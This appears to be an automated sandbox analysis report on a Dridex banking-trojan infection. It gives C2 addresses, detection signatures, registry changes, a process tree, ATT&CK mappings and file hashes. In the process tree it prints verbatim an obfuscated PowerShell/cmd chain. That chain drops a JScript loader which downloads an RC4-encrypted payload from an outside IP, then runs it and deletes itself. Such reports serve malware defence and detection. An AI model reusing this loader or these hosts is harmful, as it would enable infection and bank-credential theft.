dridex | hxxp://zeroexit[.]xyz/9HJDckdsvfsdefvs34

General

Target

http://zeroexit.xyz/9HJDckdsvfsdefvs34

Score

10^/10

dridex 10111 botnet cryptone discovery evasion loader packer ransomware trojan

Malware Config

Extracted

Family

dridex

Botnet

10111

C2

157.7.166.26:5353

162.144.127.197:3786

46.22.57.17:5037

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 1084 created 3000 1084 WerFault.exe IEXPLORE.EXE

description	pid	process	target process
PID 1084 created 3000	1084	WerFault.exe	IEXPLORE.EXE

CryptOne packer 2 IoCs

Detects CryptOne packer defined in NCC blogpost.

cryptone packer

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\19zy5.exe	cryptone
C:\Users\Admin\AppData\Local\Temp\19zy5.exe	cryptone

Dridex Loader 2 IoCs

Detects Dridex both x86 and x64 loader in memory.

botnet loader

Processes:

resource	yara_rule
behavioral1/memory/4448-29-0x0000000000400000-0x000000000043D000-memory.dmp	dridex_ldr
behavioral1/memory/4448-31-0x0000000000400000-0x000000000043D000-memory.dmp	dridex_ldr

Blocklisted process makes network request 1 IoCs

Processes:

wscript.exe

flow pid process

17 2768 wscript.exe
Executes dropped EXE 1 IoCs

Processes:

19zy5.exe

pid process

4448 19zy5.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

19zy5.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 19zy5.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1084 3000 WerFault.exe IEXPLORE.EXE
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
ransomware

System Information Discovery
T1082

flow	pid	process
17	2768	wscript.exe

pid	process
4448	19zy5.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	19zy5.exe

pid	pid_target	process	target process
1084	3000	WerFault.exe	IEXPLORE.EXE

Modifies Internet Explorer settings 1 TTPs 18 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "975418415"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30864844"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30864844"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{6585D74A-61BF-11EB-BEBD-6A3FD5463AB0} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "975418415"	iexplore.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

Processes:

WerFault.exePowerShell.exe

pid	process
1084	WerFault.exe
1084	WerFault.exe
1084	WerFault.exe
1084	WerFault.exe
1084	WerFault.exe
1084	WerFault.exe
1084	WerFault.exe
1084	WerFault.exe
1084	WerFault.exe
1084	WerFault.exe
1084	WerFault.exe
1084	WerFault.exe
1084	WerFault.exe
1084	WerFault.exe
1084	WerFault.exe
1084	WerFault.exe
1084	WerFault.exe
1084	WerFault.exe
844	PowerShell.exe
844	PowerShell.exe
844	PowerShell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

WerFault.exePowerShell.exe

description	pid	process
Token: SeRestorePrivilege	1084	WerFault.exe
Token: SeBackupPrivilege	1084	WerFault.exe
Token: SeDebugPrivilege	1084	WerFault.exe
Token: SeDebugPrivilege	844	PowerShell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

4764 iexplore.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

4764 iexplore.exe
4764 iexplore.exe
3000 IEXPLORE.EXE
3000 IEXPLORE.EXE

pid	process
4764	iexplore.exe

pid	process
4764	iexplore.exe
4764	iexplore.exe
3000	IEXPLORE.EXE
3000	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

iexplore.exeIEXPLORE.EXEPowerShell.execmd.exewscript.execmd.exe

description	pid	process	target process
PID 4764 wrote to memory of 3000	4764	iexplore.exe	IEXPLORE.EXE
PID 4764 wrote to memory of 3000	4764	iexplore.exe	IEXPLORE.EXE
PID 4764 wrote to memory of 3000	4764	iexplore.exe	IEXPLORE.EXE
PID 3000 wrote to memory of 844	3000	IEXPLORE.EXE	PowerShell.exe
PID 3000 wrote to memory of 844	3000	IEXPLORE.EXE	PowerShell.exe
PID 3000 wrote to memory of 844	3000	IEXPLORE.EXE	PowerShell.exe
PID 844 wrote to memory of 2280	844	PowerShell.exe	cmd.exe
PID 844 wrote to memory of 2280	844	PowerShell.exe	cmd.exe
PID 844 wrote to memory of 2280	844	PowerShell.exe	cmd.exe
PID 2280 wrote to memory of 2768	2280	cmd.exe	wscript.exe
PID 2280 wrote to memory of 2768	2280	cmd.exe	wscript.exe
PID 2280 wrote to memory of 2768	2280	cmd.exe	wscript.exe
PID 2768 wrote to memory of 3548	2768	wscript.exe	cmd.exe
PID 2768 wrote to memory of 3548	2768	wscript.exe	cmd.exe
PID 2768 wrote to memory of 3548	2768	wscript.exe	cmd.exe
PID 3548 wrote to memory of 4448	3548	cmd.exe	19zy5.exe
PID 3548 wrote to memory of 4448	3548	cmd.exe	19zy5.exe
PID 3548 wrote to memory of 4448	3548	cmd.exe	19zy5.exe

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://zeroexit.xyz/9HJDckdsvfsdefvs34
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4764

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4764 CREDAT:82945 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3000

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe
((((\..\PowerShell.exe -Command "<#AAAAAAAAAAAAAAAAAAAAAAAAA ((#>$a = ""Start-Process cmd.exe `"""cmd.exe /q /c cd /d "%tMp%" && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y['set'+'Proxy'](n);y.open('GET',k(1),1);y.Option(n)=k(2);y.send();y/*XASX1ASXASS*/['Wait'+'ForResponse']();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e['cha'+'rCodeAt'](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join('')};try{var u=WScript.Echo(),o='Object',A=Math,a=Function('b','return WScript.Create'+o+'(b)');P=(''+WScript).split(' ')[1],M='indexOf',q=a(P+'ing.FileSystem'+o),m=WScript.Arguments,e='WinHTTP',Z='cmd',Q=a('WinHttp.WinHttpRequest.5.1'),j=a('W'+P+'.Shell'),s=a('ADODB.Stream'),x=O(8)+'.',p='exe',n=0,K=WScript[P+'FullName'],E='.'+p;s.Type=2;s.Charset='iso-8859-1';s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]('PE\x00\x00'));s.WriteText(v);if(31^<d){var z=1;x+='dll'}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x='regsvr'+32+E+' /s '+x);j.run(Z+E+' /c '+x,0)}catch(xXASXASSAA){};q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp cvbdfg http://45.138.24.35/?MzY0Mjc0^&UyedGAT^&s2ht4=n6rVCJ2veDSk2beIFxjw8VndSTvSgfdOKa1Tbge-iQeDLgEOn8xeC15E87etzkKNylaYsJOE-R2OMA5G_JKWRrVp21zxyLJCc5kkkxXT6mJUzu4YUQ8U5glCmPrPF6XIrkJzBkFmVV_NKpohpUvBUCTtMj93sfS8QztxnurN9cd3wZNt1h2v9w^&oa1n4=x33QcvWYaRuPDojEM_jdSqRGP0zYHliPxY2Y^&wMtLbkrNDcxOA== "1"`"""""" ; Invoke-Command -ScriptBlock ([Scriptblock]::Create($a))"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:844

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" cmd.exe /q /c cd /d %tMp% && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y['set'+'Proxy'](n);y.open('GET',k(1),1);y.Option(n)=k(2);y.send();y/*XASX1ASXASS*/['Wait'+'ForResponse']();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e['cha'+'rCodeAt'](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join('')};try{var u=WScript.Echo(),o='Object',A=Math,a=Function('b','return WScript.Create'+o+'(b)');P=(''+WScript).split(' ')[1],M='indexOf',q=a(P+'ing.FileSystem'+o),m=WScript.Arguments,e='WinHTTP',Z='cmd',Q=a('WinHttp.WinHttpRequest.5.1'),j=a('W'+P+'.Shell'),s=a('ADODB.Stream'),x=O(8)+'.',p='exe',n=0,K=WScript[P+'FullName'],E='.'+p;s.Type=2;s.Charset='iso-8859-1';s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]('PE\x00\x00'));s.WriteText(v);if(31^<d){var z=1;x+='dll'}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x='regsvr'+32+E+' /s '+x);j.run(Z+E+' /c '+x,0)}catch(xXASXASSAA){};q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp cvbdfg http://45.138.24.35/?MzY0Mjc0^&UyedGAT^&s2ht4=n6rVCJ2veDSk2beIFxjw8VndSTvSgfdOKa1Tbge-iQeDLgEOn8xeC15E87etzkKNylaYsJOE-R2OMA5G_JKWRrVp21zxyLJCc5kkkxXT6mJUzu4YUQ8U5glCmPrPF6XIrkJzBkFmVV_NKpohpUvBUCTtMj93sfS8QztxnurN9cd3wZNt1h2v9w^&oa1n4=x33QcvWYaRuPDojEM_jdSqRGP0zYHliPxY2Y^&wMtLbkrNDcxOA== 1
4⤵
- Suspicious use of WriteProcessMemory
PID:2280

C:\Windows\SysWOW64\wscript.exe
wsCripT //B //E:JScript 3.tMp cvbdfg http://45.138.24.35/?MzY0Mjc0&UyedGAT&s2ht4=n6rVCJ2veDSk2beIFxjw8VndSTvSgfdOKa1Tbge-iQeDLgEOn8xeC15E87etzkKNylaYsJOE-R2OMA5G_JKWRrVp21zxyLJCc5kkkxXT6mJUzu4YUQ8U5glCmPrPF6XIrkJzBkFmVV_NKpohpUvBUCTtMj93sfS8QztxnurN9cd3wZNt1h2v9w&oa1n4=x33QcvWYaRuPDojEM_jdSqRGP0zYHliPxY2Y&wMtLbkrNDcxOA== 1
5⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2768

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c 19zy5.exe
6⤵
- Suspicious use of WriteProcessMemory
PID:3548

C:\Users\Admin\AppData\Local\Temp\19zy5.exe
19zy5.exe
7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:4448

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3000 -s 2316
3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1084

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\19zy5.exe
MD5
88293c6588745942a6107d6c92dfd4f8

SHA1
2c1d9fbf41339207c9c1d7462b33c27fe9011b2d

SHA256
e3f3a9a7f92787d7808c4c6781d6e4aa57f1998c05dd80ec2bc909d684a6dcf9

SHA512
c607dff717f5972fb79f184efa7ce43956915e1dd05b270d872687563b1ad43fba57b643e16b6aba54dcd72b86624fba7877339ac775ef26accc0f89c0d0ee11

Download Submit
C:\Users\Admin\AppData\Local\Temp\19zy5.exe
MD5
88293c6588745942a6107d6c92dfd4f8

SHA1
2c1d9fbf41339207c9c1d7462b33c27fe9011b2d

SHA256
e3f3a9a7f92787d7808c4c6781d6e4aa57f1998c05dd80ec2bc909d684a6dcf9

SHA512
c607dff717f5972fb79f184efa7ce43956915e1dd05b270d872687563b1ad43fba57b643e16b6aba54dcd72b86624fba7877339ac775ef26accc0f89c0d0ee11

Download Submit
C:\Users\Admin\AppData\Local\Temp\3.tMp
MD5
88acae3e364010e82fb022c29ab69c9d

SHA1
043f08caaf36d317c60977dd9bdaa2be62ed54a0

SHA256
f14c7ba0240be3456164dd63f53dd4bc7eb34bcdb1ac26e98a623edc0390b56b

SHA512
38283522ffc8d6026c6298b3405f4274c833f3bf36d96648c0030d3aacea1a61553cea20ec0307ab6711e77ca5aadb4a7db308ed942434d5c8cf0733a3a4b27c

Download Submit
memory/844-9-0x0000000006C02000-0x0000000006C03000-memory.dmp

Filesize
4KB

Download
memory/844-18-0x0000000008FD0000-0x0000000008FD1000-memory.dmp

Filesize
4KB

Download
memory/844-7-0x0000000007240000-0x0000000007241000-memory.dmp

Filesize
4KB

Download
memory/844-8-0x0000000006C00000-0x0000000006C01000-memory.dmp

Filesize
4KB

Download
memory/844-3-0x0000000000000000-mapping.dmp

Download
memory/844-10-0x0000000007010000-0x0000000007011000-memory.dmp

Filesize
4KB

Download
memory/844-11-0x00000000078E0000-0x00000000078E1000-memory.dmp

Filesize
4KB

Download
memory/844-12-0x00000000070B0000-0x00000000070B1000-memory.dmp

Filesize
4KB

Download
memory/844-13-0x0000000007950000-0x0000000007951000-memory.dmp

Filesize
4KB

Download
memory/844-14-0x0000000007CA0000-0x0000000007CA1000-memory.dmp

Filesize
4KB

Download
memory/844-15-0x0000000008210000-0x0000000008211000-memory.dmp

Filesize
4KB

Download
memory/844-16-0x00000000080B0000-0x00000000080B1000-memory.dmp

Filesize
4KB

Download
memory/844-17-0x0000000009040000-0x0000000009041000-memory.dmp

Filesize
4KB

Download
memory/844-6-0x0000000004A00000-0x0000000004A01000-memory.dmp

Filesize
4KB

Download
memory/844-19-0x00000000090E0000-0x00000000090E1000-memory.dmp

Filesize
4KB

Download
memory/844-20-0x0000000009610000-0x0000000009611000-memory.dmp

Filesize
4KB

Download
memory/844-24-0x0000000006C03000-0x0000000006C04000-memory.dmp

Filesize
4KB

Download
memory/844-5-0x000000006E110000-0x000000006E7FE000-memory.dmp

Filesize
6.9MB

Download
memory/1084-4-0x00000000046F0000-0x00000000046F1000-memory.dmp

Filesize
4KB

Download
memory/2280-21-0x0000000000000000-mapping.dmp

Download
memory/2768-22-0x0000000000000000-mapping.dmp

Download
memory/3000-2-0x0000000000000000-mapping.dmp

Download
memory/3548-25-0x0000000000000000-mapping.dmp

Download
memory/4448-26-0x0000000000000000-mapping.dmp

Download
memory/4448-29-0x0000000000400000-0x000000000043D000-memory.dmp

Filesize
244KB

Download
memory/4448-30-0x00000000005D0000-0x000000000060C000-memory.dmp

Filesize
240KB

Download
memory/4448-31-0x0000000000400000-0x000000000043D000-memory.dmp

Filesize
244KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads